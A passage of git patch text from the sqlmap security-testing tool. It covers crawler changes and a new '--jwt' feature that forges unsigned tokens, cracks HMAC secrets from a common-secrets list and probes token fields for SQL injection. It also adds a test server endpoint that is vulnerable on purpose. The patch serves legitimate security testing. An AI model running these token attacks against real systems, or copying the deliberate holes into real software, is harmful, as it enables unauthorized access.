MAX_JAVASCRIPT_MINE_SIZE: + break + return _mineJavaScript("\n".join(parts), base) if parts else [] + def crawl(target, post=None, cookie=None): if not target: return @@ -50,9 +163,31 @@ def crawl(target, post=None, cookie=None): threadData = getCurrentThreadData() threadData.shared.value = OrderedSet() threadData.shared.formsFound = False + # host-level recon (robots/well-known/sitemap) runs on this thread and carries the session cookie; + # confine its redirects to scope (reset in 'finally' so later requests on this thread are unaffected) + threadData.crawlRedirectFilter = lambda url: _inScope(url, target) def crawlThread(): threadData = getCurrentThreadData() + # confine this worker's redirects (e.g. a source-map fetch) to scope; reset in 'finally' so a pooled + # thread later reused for injection is not left restricted to the crawl scope + threadData.crawlRedirectFilter = lambda url: _inScope(url, target) + + try: + _crawlThreadLoop(threadData) + finally: + threadData.crawlRedirectFilter = None + + def _crawlThreadLoop(threadData): + def consume(endpoints): + # feed mined endpoints through the same scope-check + deeper/value flow as scraped links + for url, isTarget in endpoints: + if not _inScope(url, target): + continue + with kb.locks.value: + threadData.shared.deeper.add(url) + if isTarget: + threadData.shared.value.add(url) while kb.threadContinue: with kb.locks.limit: @@ -88,7 +223,38 @@ def crawlThread(): if not kb.threadContinue: break - if isinstance(content, six.text_type): + if isinstance(content, six.text_type) and (current or "").split("?", 1)[0].lower().endswith((".js", ".mjs")): + try: + consume(_mineJavaScript(content, current)) + # follow a source map ('//# sourceMappingURL=') to the original un-minified sources; + # the URL is attacker-controlled, so it must stay same-host/in-scope (no SSRF) and be + # fetched at most once + smatch = re.search(r"(?m)[#@]\s*sourceMappingURL\s*=\s*(?P[^\s'\"]+)", content) + if smatch and not smatch.group("url").startswith("data:"): + mapURL = _urllib.parse.urljoin(current, smatch.group("url")) + with kb.locks.value: + fetch = mapURL.startswith(("http://", "https://")) and _inScope(mapURL, target) and mapURL not in visited + if fetch: + visited.add(mapURL) + if fetch: # GET the static map (not a re-POST) and keep the auth cookie + mapContent = Request.getPage(url=mapURL, post=None, cookie=cookie, crawling=True, raise404=False)[0] + # a same-host map that redirected off-scope must not have its (authenticated) body used + redirected = threadData.lastRedirectURL[1] if (threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID) else None + if isinstance(mapContent, six.text_type) and (redirected is None or _inScope(redirected, target)): + consume(_sourceMapEndpoints(mapContent, current)) + except (ValueError, SqlmapConnectionException): + pass + elif isinstance(content, six.text_type) and content[:64].lstrip()[:1] in ("{", "["): + try: # a JSON API response: mine embedded resource links (REST/HATEOAS, pagination) + consume(_mineJavaScript(content, current)) + except ValueError: + pass + elif isinstance(content, six.text_type): + # base for resolving links AND forms: the redirect target (if any), refined by + # below; defined before the try so the 'finally' can rely on it even if parsing fails + linkBase = current + if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: + linkBase = threadData.lastRedirectURL[1] try: match = re.search(r"(?si)]*>(.+)", content) if match: @@ -99,29 +265,55 @@ def crawlThread(): tags += re.finditer(r'(?i)\s(href|src)=["\'](?P[^>"\']+)', content) tags += re.finditer(r'(?i)window\.open\(["\'](?P[^)"\']+)["\']', content) + # URL-bearing data-* attributes and navigational sinks that mature crawlers also follow. + # Note:
/formaction are intentionally NOT scraped here - they need method + + # field semantics (handled by --forms/findPageForms), and data-action usually holds a + # command name, not a URL + tags += re.finditer(r'(?i)\s(?:data-(?:url|href|src|link|api|endpoint))=["\'](?P[^>"\']+)', content) + tags += re.finditer(r'(?i)]+?http-equiv=["\']?refresh\b[^>]+?url=(?P[^"\'>\s;]+)', content) + tags += re.finditer(r'(?i)]*?\sdata=["\'](?P[^>"\']+)', content) + + # honor for correct relative-URL resolution, but only if it stays in scope - + # a cross-origin must not become the resolution base for links or (via linkBase) forms + baseTag = re.search(r'(?i)]+?href=["\'](?P[^"\'>]+)', content) + if baseTag: + rebased = _urllib.parse.urljoin(linkBase, htmlUnescape(baseTag.group("href"))) + if (re.search(conf.scope, rebased, re.I) if conf.scope else checkSameHost(rebased, target)): + linkBase = rebased for tag in tags: href = tag.get("href") if hasattr(tag, "get") else tag.group("href") if href: - if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: - current = threadData.lastRedirectURL[1] - url = _urllib.parse.urljoin(current, htmlUnescape(href)) + url = _urllib.parse.urldefrag(_urllib.parse.urljoin(linkBase, htmlUnescape(href)))[0] - # flag to know if we are dealing with the same target host - _ = checkSameHost(url, target) - - if conf.scope: - if not re.search(conf.scope, url, re.I): - continue - elif not _: + if not _inScope(url, target): continue - if (extractRegexResult(r"\A[^?]+\.(?P\w+)(\?|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: + extension = (extractRegexResult(r"\A[^?#]+\.(?P\w+)([?#]|\Z)", url) or "").lower() + if extension in ("js", "mjs"): + with kb.locks.value: # enqueue the bundle so its endpoints get mined + threadData.shared.deeper.add(url) + elif extension not in CRAWL_EXCLUDE_EXTENSIONS: with kb.locks.value: threadData.shared.deeper.add(url) - if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(js|css)(\?|\Z)", url): + if re.search(r"(.*?)\?(.+)", url) and not re.search(r"\?(v=)?\d+\Z", url) and not re.search(r"(?i)\.(m?js|css)(\?|\Z)", url): threadData.shared.value.add(url) + + # inline ", content): + body = script.group(1)[:MAX_JAVASCRIPT_MINE_SIZE - inlineSize] + inline.append(body) + inlineSize += len(body) + if inlineSize >= MAX_JAVASCRIPT_MINE_SIZE: + break + if inline: + consume(_mineJavaScript("\n".join(inline), linkBase)) except UnicodeEncodeError: # for non-HTML files pass except ValueError: # for non-valid links @@ -130,7 +322,7 @@ def crawlThread(): pass finally: if conf.forms: - threadData.shared.formsFound |= len(findPageForms(content, current, False, True)) > 0 + threadData.shared.formsFound |= len(findPageForms(content, linkBase, False, True)) > 0 if conf.verbose in (1, 2): threadData.shared.count += 1 @@ -148,34 +340,97 @@ def crawlThread(): if re.search(r"\?.*\b\w+=", target): threadData.shared.value.add(target) + # host-level recon (robots.txt + well-known endpoint directories) is done at most once per host so a + # multi-target run does not re-probe (and re-404) the same host over and over + _split = _urllib.parse.urlsplit(target) + crawlHost = ("%s://%s" % (_split.scheme, _split.netloc)).lower() # scheme+netloc dedup key (finer than the host-level scope predicate on purpose - never re-probe the same origin) + with kb.locks.value: # atomic check-and-claim so concurrent target crawls do not double-probe a host + reconHost = bool(_split.netloc) and crawlHost not in kb.crawledHosts + if reconHost: + kb.crawledHosts.add(crawlHost) + + # every sitemap source (robots.txt 'Sitemap:' lines AND the /sitemap.xml guess below) shares ONE fetch/URL + # budget and ONE visited set, so a hostile robots.txt advertising many roots cannot multiply the per-root + # limits into ~100k fetches, and a sitemap listed twice is fetched once + sitemapItems = OrderedSet() + sitemapVisited = set() + + # robots.txt Disallow/Allow entries expose unlinked paths (admin panels, API roots) that crawlers + # (Burp, Acunetix) routinely harvest as seeds; the file itself must be in scope before it is fetched + robotsUrl = _urllib.parse.urljoin(target, "/robots.txt") + try: + robots = Request.getPage(url=robotsUrl, post=None, cookie=cookie, crawling=True, raise404=False)[0] if (reconHost and _inScope(robotsUrl, target)) else None + except Exception: + robots = None + if isinstance(robots, six.text_type): + # ONE combined budget across Disallow/Allow and Sitemap lines, consumed lazily (islice over finditer) + # so a huge/repetitive robots.txt is neither fully materialized nor over-processed + remaining = MAX_ROBOTS_ENTRIES + for match in islice(re.finditer(r"(?im)^\s*(?:dis)?allow\s*:\s*(/\S*)", robots), remaining): + remaining -= 1 + path = match.group(1) + if any(_ in path for _ in "*$"): # a pattern, not a concrete path + continue + url = _urllib.parse.urljoin(target, path) + if _inScope(url, target) and (extractRegexResult(r"\A[^?#]+\.(?P\w+)([?#]|\Z)", url) or "").lower() not in CRAWL_EXCLUDE_EXTENSIONS: + threadData.shared.unprocessed.add(url) + if re.search(r"\?.*\b\w+=", url): + threadData.shared.value.add(url) + + # follow the sitemaps robots.txt advertises into the SHARED budget/visited; the advertised URL AND every + # nested sitemap parseSitemap fetches recursively must pass the same scope predicate (enforced inside) + for match in islice(re.finditer(r"(?im)^\s*sitemap\s*:\s*(https?://\S+)", robots), max(remaining, 0)): + sitemapUrl = match.group(1) + if not _inScope(sitemapUrl, target): + continue + try: + parseSitemap(sitemapUrl, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) + except Exception: + pass + + # heuristic path discovery from self-describing JSON documents (OIDC discovery, OpenAPI/Swagger). + # this mines endpoint-looking strings, NOT a full OpenAPI model - basePath/servers are not merged and + # $ref/examples are not resolved; '--openapi' does exact API enumeration + for path in (WELL_KNOWN_ENDPOINT_PATHS if reconHost else ()): + probe = _urllib.parse.urljoin(target, path) + if probe in visited or not _inScope(probe, target): + continue + visited.add(probe) + try: + blob = Request.getPage(url=probe, post=None, cookie=cookie, crawling=True, raise404=False)[0] + except Exception: + blob = None + if isinstance(blob, six.text_type) and blob[:64].lstrip()[:1] in ("{", "["): + for url, isTarget in _mineJavaScript(blob, probe): + if _inScope(url, target): + threadData.shared.unprocessed.add(url) + if isTarget: + threadData.shared.value.add(url) + if kb.checkSitemap is None: message = "do you want to check for the existence of " message += "site's sitemap(.xml) [y/N] " kb.checkSitemap = readInput(message, default='N', boolean=True) - if kb.checkSitemap: - found = True - items = None - url = _urllib.parse.urljoin(target, "/sitemap.xml") - try: - items = parseSitemap(url) + url = _urllib.parse.urljoin(target, "/sitemap.xml") + if kb.checkSitemap and _inScope(url, target): + try: # into the same shared budget/visited as the robots sitemaps + parseSitemap(url, retVal=sitemapItems, visited=sitemapVisited, urlFilter=lambda _: _inScope(_, target)) except SqlmapConnectionException as ex: if "page not found" in getSafeExString(ex): - found = False logger.warning("'sitemap.xml' not found") except: pass - finally: - if found: - if items: - # keep sitemap-derived URLs on-scope, exactly like the HTML-crawl path above - items = OrderedSet(_ for _ in items if (re.search(conf.scope, _, re.I) if conf.scope else checkSameHost(_, target))) - for item in items: - if re.search(r"(.*?)\?(.+)", item): - threadData.shared.value.add(item) - if conf.crawlDepth > 1: - threadData.shared.unprocessed.update(items) - logger.info("%s links found" % ("no" if not items else len(items))) + + # single consumption of every sitemap-derived URL (already scope-filtered inside parseSitemap): a URL with + # GET parameters is a target, and - at depth > 1 - all are queued for further crawling + if sitemapItems: + for item in sitemapItems: + if re.search(r"\?.*\b\w+=", item): + threadData.shared.value.add(item) + if conf.crawlDepth > 1: + threadData.shared.unprocessed.add(item) + logger.info("%d link(s) found via sitemap(s)" % len(sitemapItems)) if not conf.bulkFile: infoMsg = "starting crawler for target URL '%s'" % target @@ -204,6 +459,7 @@ def crawlThread(): finally: clearConsoleLine(True) + threadData.crawlRedirectFilter = None if not threadData.shared.value: if not (conf.forms and threadData.shared.formsFound): From edbfca0b8ef0baae56d1f62dda2daa3936ca067f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 25 Jul 2026 22:40:12 +0200 Subject: [PATCH 844/853] Adding switch --jwt --- extra/vulnserver/vulnserver.py | 48 +++++ lib/controller/checks.py | 35 ++++ lib/controller/controller.py | 14 +- lib/core/option.py | 1 + lib/core/optiondict.py | 1 + lib/core/settings.py | 13 +- lib/core/testing.py | 1 + lib/parse/cmdline.py | 3 + lib/techniques/jwt/__init__.py | 8 + lib/techniques/jwt/inject.py | 361 +++++++++++++++++++++++++++++++++ lib/utils/jwt.py | 153 ++++++++++++++ tests/test_jwt.py | 228 +++++++++++++++++++++ 12 files changed, 862 insertions(+), 4 deletions(-) create mode 100644 lib/techniques/jwt/__init__.py create mode 100644 lib/techniques/jwt/inject.py create mode 100644 lib/utils/jwt.py create mode 100644 tests/test_jwt.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 95c1a9da45c..5962545bdff 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -10,6 +10,8 @@ from __future__ import print_function import base64 +import hashlib +import hmac import json import os import random @@ -38,6 +40,30 @@ except (IOError, OSError): pass +# Self-contained JSON Web Token forge/parse for the '/jwt' endpoint, so '--jwt' has a live target in the +# vuln-test. The signing secret is a common one (crackable from the shipped wordlist), the endpoint accepts +# unsigned 'alg':'none' tokens (VULN) and reflects 'kid' into a SQL error (injectable key lookup). +JWT_SECRET = "secret" + +def _jwt_b64url(data): + return base64.urlsafe_b64encode(data).rstrip(b'=').decode() + +def _jwt_forge(header, payload, secret): + seg = lambda obj: _jwt_b64url(json.dumps(obj, separators=(',', ':')).encode(UNICODE_ENCODING)) + signingInput = "%s.%s" % (seg(header), seg(payload)) + signature = _jwt_b64url(hmac.new(secret.encode(UNICODE_ENCODING), signingInput.encode(UNICODE_ENCODING), hashlib.sha256).digest()) + return "%s.%s" % (signingInput, signature) + +def _jwt_parse(token): + try: + header, payload, signature = token.split('.') + pad = lambda value: value + '=' * (-len(value) % 4) + return json.loads(base64.urlsafe_b64decode(pad(header))), json.loads(base64.urlsafe_b64decode(pad(payload))), signature + except Exception: + return None + +JWT_TOKEN = _jwt_forge({"alg": "HS256", "typ": "JWT", "kid": "key1"}, {"user": "guest", "role": "user", "exp": 9999999999}, JWT_SECRET) + if PY3: from http.client import FORBIDDEN from http.client import INTERNAL_SERVER_ERROR @@ -1003,6 +1029,28 @@ def do_REQUEST(self): self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) return + if self.url == "/jwt": + self.send_response(OK) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + parsed = _jwt_parse(self.params.get("session", "")) + output = "access denied. please sign in." + if parsed: + header, payload, _ = parsed + kid = header.get("kid") + if hasattr(kid, "count") and kid.count("'") % 2 == 1: # str/unicode (py2/py3), not an int/dict + # VULNERABLE: 'kid' feeds a key-lookup query unsanitized -> a lone quote breaks it + output = "You have an error in your SQL syntax near '%s'" % kid + elif (header.get("alg") or "").lower() == "none": + output = "welcome back, %s. secret area." % payload.get("user") # VULN: unsigned accepted + elif _jwt_forge(header, payload, JWT_SECRET) == self.params.get("session"): + output = "welcome back, %s. secret area." % payload.get("user") + + self.wfile.write(output.encode(UNICODE_ENCODING, "ignore")) + return + if self.url == "/csrf": if self.params.get("csrf_token") == _csrf_token: self.url = "/" diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 533a157c6cc..f18b9fbb040 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1276,6 +1276,41 @@ def _(page): return kb.heuristicTest +def checkJWT(): + """ + Passive, always-on heuristic: surface any JSON Web Token the request carries (cookie, header or + parameter) together with its offline weaknesses (alg:none, guessable HMAC secret, unsafe key + headers, missing expiry), hinting at '--jwt' for active confirmation and injection. + """ + + if kb.jwtChecked or conf.jwt: + return + + kb.jwtChecked = True + + from lib.utils.jwt import auditJWT + from lib.utils.jwt import findJWTs + from lib.core.settings import JWT_COMMON_SECRETS + + haystacks = list((conf.parameters or {}).values()) + haystacks += [value for _, value in (conf.httpHeaders or [])] + + seen = set() + for haystack in haystacks: + for token in findJWTs(haystack): + if token in seen: + continue + seen.add(token) + + infoMsg = "heuristic (JWT) test shows that the request carries a JSON Web Token (rerun with switch '--jwt')" + logger.info(infoMsg) + + for _, severity, summary, __ in auditJWT(token, secrets=JWT_COMMON_SECRETS): + logger.info("JWT weakness (%s): %s" % (severity, summary)) + + if conf.beep: + beep() + def checkDynParam(place, parameter, value): """ This function checks if the URL parameter is dynamic. If it is diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 3ec482316a4..a3b7c07c70e 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -16,6 +16,7 @@ from lib.controller.checks import checkConnection from lib.controller.checks import checkDynParam from lib.controller.checks import checkInternet +from lib.controller.checks import checkJWT from lib.controller.checks import checkNullConnection from lib.controller.checks import checkSqlInjection from lib.controller.checks import checkStability @@ -529,12 +530,14 @@ def start(): checkWaf() - if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)): + checkJWT() + + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)): from lib.utils.paraminer import mineParameters mineParameters() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -571,6 +574,11 @@ def start(): hqlScan() continue + if conf.jwt: + from lib.techniques.jwt.inject import jwtScan + jwtScan() + continue + if conf.nullConnection: checkNullConnection() diff --git a/lib/core/option.py b/lib/core/option.py index aadde6d5b57..cf23e97f749 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2244,6 +2244,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.heuristicPage = False kb.heuristicTest = None kb.hintValue = "" + kb.jwtChecked = False kb.htmlFp = [] kb.huffmanModel = {} kb.respTruncated = False diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 8bf6951d2c5..0b6caf96c08 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -127,6 +127,7 @@ "ssti": "boolean", "xxe": "boolean", "hql": "boolean", + "jwt": "boolean", "oobServer": "string", "oobToken": "string", "timeSec": "integer", diff --git a/lib/core/settings.py b/lib/core/settings.py index 04f62b2c16c..289ea20bc45 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.188" +VERSION = "1.10.7.189" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1230,6 +1230,17 @@ HQL_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in HQL_ERROR_SIGNATURES) +# Small, fast dictionary the always-on JWT heuristic tries against an HS* signature (the full +# '--jwt' audit streams the shipped wordlist instead); these are the secrets seen over and over in +# tutorials, framework defaults and CTFs +JWT_COMMON_SECRETS = ("secret", "password", "changeme", "admin", "test", "jwt", "key", "private", + "your-256-bit-secret", "your_jwt_secret", "supersecret", "secretkey", "s3cr3t", "1234567890", + "qwerty", "root", "token", "default", "example", "mysecret", "jwtsecret", "signingkey") + +# Upper bound on candidate secrets tried during the offline '--jwt' HMAC crack (keeps a huge custom +# wordlist from turning an audit into an unbounded brute-force) +JWT_MAX_CRACK_WORDS = 2000000 + # Regexes that pull the mapped entity/root name out of a Hibernate diagnostic (the # ORM equivalent of a leaked table name; HQL has no information_schema so error-based # leakage is the native way to learn the entity model). First capture group = name. diff --git a/lib/core/testing.py b/lib/core/testing.py index e6d62cfa54e..f7efb96fc6a 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -99,6 +99,7 @@ def vulnTest(tests=None, label="vuln"): ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction + ("-u \"jwt?x=1\" --cookie=\"session=%s\" --jwt --flush-session" % vulnserver.JWT_TOKEN, ("found a JSON Web Token", "HMAC secret recovered ('secret')", "server accepts an unsigned", "vulnerable to error-based SQL injection")), # JWT: offline weak-secret crack + active oracle confirming alg:none acceptance + 'kid' error-based SQL injection ("-u --flush-session --esperanto --technique=B --banner", ("using the DBMS-agnostic 'Esperanto' engine", "Esperanto dialect verdict: SQLite", "banner: '3.")), # Esperanto: DBMS-agnostic boolean-oracle engine drives --banner end-to-end through the real sqlmap handler (fingerprinting skipped, dialect discovered from scratch, banner blind-extracted) ("-u \"xxe\" --data=\"x\" --xxe --file-read=\"%s\" --flush-session" % vulnserver.XXE_READ_FILE, ("the XML body processes DTD/internal entities", "in-band XXE file-read impact confirmed", "Type: XXE injection", "XXE scan complete")), # XXE: in-band internal-entity reflection (real libxml2/lxml parser) + external file:// entity file read ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 5bbc8c51cc9..03bddb531be 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -808,6 +808,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--hql", dest="hql", action="store_true", help="Test for HQL/JPQL (Hibernate ORM) injection") + nonsql.add_argument("--jwt", dest="jwt", action="store_true", + help="Audit JSON Web Tokens (JWT) for weaknesses") + nonsql.add_argument("--oob-server", dest="oobServer", help="Out-of-band server for blind '--xxe'") diff --git a/lib/techniques/jwt/__init__.py b/lib/techniques/jwt/__init__.py new file mode 100644 index 00000000000..bcac841631b --- /dev/null +++ b/lib/techniques/jwt/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/jwt/inject.py b/lib/techniques/jwt/inject.py new file mode 100644 index 00000000000..df6bdf7041d --- /dev/null +++ b/lib/techniques/jwt/inject.py @@ -0,0 +1,361 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import time + +from lib.core.common import beep +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.data import paths +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import JWT_COMMON_SECRETS +from lib.core.settings import JWT_MAX_CRACK_WORDS +from lib.core.settings import UPPER_RATIO_BOUND +from lib.core.wordlist import Wordlist +from lib.request.connect import Connect as Request +from lib.utils.jwt import auditJWT +from lib.utils.jwt import crackHMAC +from lib.utils.jwt import encodeSegment +from lib.utils.jwt import forgeJWT +from lib.utils.jwt import findJWTs +from lib.utils.jwt import HMAC_ALGORITHMS +from lib.utils.jwt import parseJWT +from lib.utils.nonsql import EXTRACT_MATCH_MARGIN +from lib.utils.nonsql import leansTrue +from lib.utils.nonsql import ratio +from lib.utils.nonsql import sqlErrorPresent +from thirdparty import six + +# improbable literal used to build tamper values / reject calibration; randomized per run so it never +# becomes a static signature a WAF can pin +JWT_SENTINEL = randomStr(length=12, lowercase=True) + +# severity -> sort rank (most severe first) for a tidy final report +_SEVERITY_RANK = {"critical": 0, "high": 1, "medium": 2, "info": 3} + +# internal marker for "the token rides in an arbitrary HTTP header" (no matching PLACE constant; headers +# are carried by conf.httpHeaders and rebuilt via auxHeaders) +_HEADER_PLACE = "HEADER" + +# registered temporal claims are validated as timestamps, never concatenated into SQL - skip them when +# probing for injection (saves requests and trims the false-positive surface) +_SKIP_CLAIMS = frozenset(("exp", "nbf", "iat")) + +# upper bound on the number of claims actively probed, so a hostile/huge token cannot explode the request count +_MAX_PROBE_CLAIMS = 20 + +# resolved location of the token in the outgoing request (set by _locate) +_TOKEN = None +_PLACE = None +_HEADER = None # header name when the token rides in an HTTP header +_HEADER_VALUE = None # that header's original value (to rebuild it with a forged token) + +def _locate(): + """Find the first JSON Web Token carried by the request (parameters first, then HTTP headers) and + record where it lives so probes can rebuild that one component with a forged token.""" + + global _TOKEN, _PLACE, _HEADER, _HEADER_VALUE + + for place in (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST, PLACE.COOKIE): + blob = (conf.parameters or {}).get(place) + tokens = findJWTs(blob) if blob else [] + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], place, None, None + return True + + for name, value in (conf.httpHeaders or []): + tokens = findJWTs(value) + if tokens: + _TOKEN, _PLACE, _HEADER, _HEADER_VALUE = tokens[0], _HEADER_PLACE, name, value + return True + + return False + +def _send(token): + """Issue one request with the located token replaced by 'token', returning the response body (or None + on a transport failure/block, which must never enter the oracle as an empty string).""" + + skipUrlEncode = conf.skipUrlEncode + conf.skipUrlEncode = True + + if conf.delay: + time.sleep(conf.delay) + + try: + kwargs = {"raise404": False, "silent": True} + + if _PLACE == _HEADER_PLACE: + kwargs["auxHeaders"] = {_HEADER: _HEADER_VALUE.replace(_TOKEN, token)} + payload = kwargs["auxHeaders"][_HEADER] + else: + payload = (conf.parameters[_PLACE]).replace(_TOKEN, token) + if _PLACE == PLACE.GET: + kwargs["get"] = payload + elif _PLACE in (PLACE.POST, PLACE.CUSTOM_POST): + kwargs["post"] = payload + elif _PLACE == PLACE.COOKIE: + kwargs["cookie"] = payload + + logger.log(CUSTOM_LOGGING.PAYLOAD, payload) + page = Request.getPage(**kwargs)[0] + except Exception as ex: + logger.debug("JWT probe request failed: %s" % getUnicode(ex)) + return None + finally: + conf.skipUrlEncode = skipUrlEncode + + return page + +def _wordlistSecrets(): + """Yield candidate HMAC secrets for the offline crack: the small common set first (fast wins), then + the shipped wordlist streamed lazily, bounded by JWT_MAX_CRACK_WORDS.""" + + for secret in JWT_COMMON_SECRETS: + yield secret + + count = 0 + try: + for word in Wordlist([paths.WORDLIST]): + yield getUnicode(word) + count += 1 + if count >= JWT_MAX_CRACK_WORDS: + break + except Exception as ex: + logger.debug("JWT wordlist streaming stopped: %s" % getUnicode(ex)) + +def _crackSecret(data): + """Recover an HS* signing secret from the shipped dictionary (a full forgery primitive), else None.""" + + return crackHMAC(data["raw"], _wordlistSecrets(), limit=JWT_MAX_CRACK_WORDS + len(JWT_COMMON_SECRETS)) + +def _corruptSignature(token): + """Same header and claims, deliberately wrong signature - accepted like the original means the server + does not verify the signature at all.""" + + header, payload, signature = token.split('.') + flipped = (signature[:-1] + ("A" if not signature.endswith("A") else "B")) if signature else "AAAA" + return "%s.%s.%s" % (header, payload, flipped) + +def _makeOracle(): + """Calibrate an acceptance oracle from the original (authenticated) response vs a structurally-broken + token (rejected by any consumer). Returns accepted(page)->bool, or None when the authenticated page is + too dynamic to use, or the endpoint does not distinguish a valid token from a broken one. + + A forgery is 'accepted' when its response leans to the authenticated model over the rejected one (shared + tri-state margin logic - tolerates the baseline's natural jitter, e.g. a rotating CSRF token/timestamp, + which a hard identical-page gate would misread as a rejection).""" + + baseline = _send(_TOKEN) + baseline2 = _send(_TOKEN) + reject = _send("%s.%s.%s" % (JWT_SENTINEL, JWT_SENTINEL, JWT_SENTINEL)) + + if None in (baseline, baseline2, reject): + return None + if ratio(baseline, baseline2) < UPPER_RATIO_BOUND: + return None # authenticated page too dynamic to be a reliable oracle + if ratio(baseline, reject) >= UPPER_RATIO_BOUND: + return None # endpoint can't tell a valid token from a broken one + + return lambda page: page is not None and leansTrue(page, baseline, reject) + +def _errorBased(mutate, breaker): + """A SQL error must surface with the syntax-breaking payload but NOT with the neutral control - so a page + that merely contains SQL-error text (a doc/debug banner) cannot masquerade as an injection.""" + + control = _send(mutate(JWT_SENTINEL)) + broken = _send(mutate(breaker)) + return control is not None and broken is not None and sqlErrorPresent(broken) and not sqlErrorPresent(control) + +def _booleanConfirmed(mutate, ref, good, bad): + """Confirmed boolean divergence with jitter guards: the endpoint must be stable for the neutral 'ref' (a + re-fetch matches), the syntactically-valid 'good' mutation must match that control while the query-breaking + 'bad' mutation diverges - and the divergence must reproduce on a re-send (so a one-off dynamic response is + not read as a vulnerability).""" + + base = _send(mutate(ref)) + base2 = _send(mutate(ref)) + if None in (base, base2): + return False + + # the page's natural noise floor: two identical neutral requests. If even that is below the similarity + # bound the page is too dynamic to judge; otherwise the 'bad' mutation only counts as a real divergence + # when it drops the similarity MEANINGFULLY BELOW that floor (more than mere per-request jitter) + jitter = ratio(base, base2) + if jitter < UPPER_RATIO_BOUND: + return False + threshold = jitter - EXTRACT_MATCH_MARGIN + + goodPage = _send(mutate(good)) + badPage = _send(mutate(bad)) + badPage2 = _send(mutate(bad)) + if None in (goodPage, badPage, badPage2): + return False + + return (ratio(base, goodPage) >= threshold + and ratio(base, badPage) <= threshold + and ratio(base, badPage2) <= threshold) + +def _probeStringInjection(mutate): + """SQL-injection probe for a string component (kid or a string claim) via single-quote breakage: a lone + quote breaks the query while the balanced pair restores it.""" + + s = JWT_SENTINEL + if _errorBased(mutate, "%s'%s" % (s, s)): + return ("error-based SQL injection", "critical") + if _booleanConfirmed(mutate, s, "%s''%s" % (s, s), "%s'%s" % (s, s)): + return ("boolean-based SQL injection", "high") + return None + +def 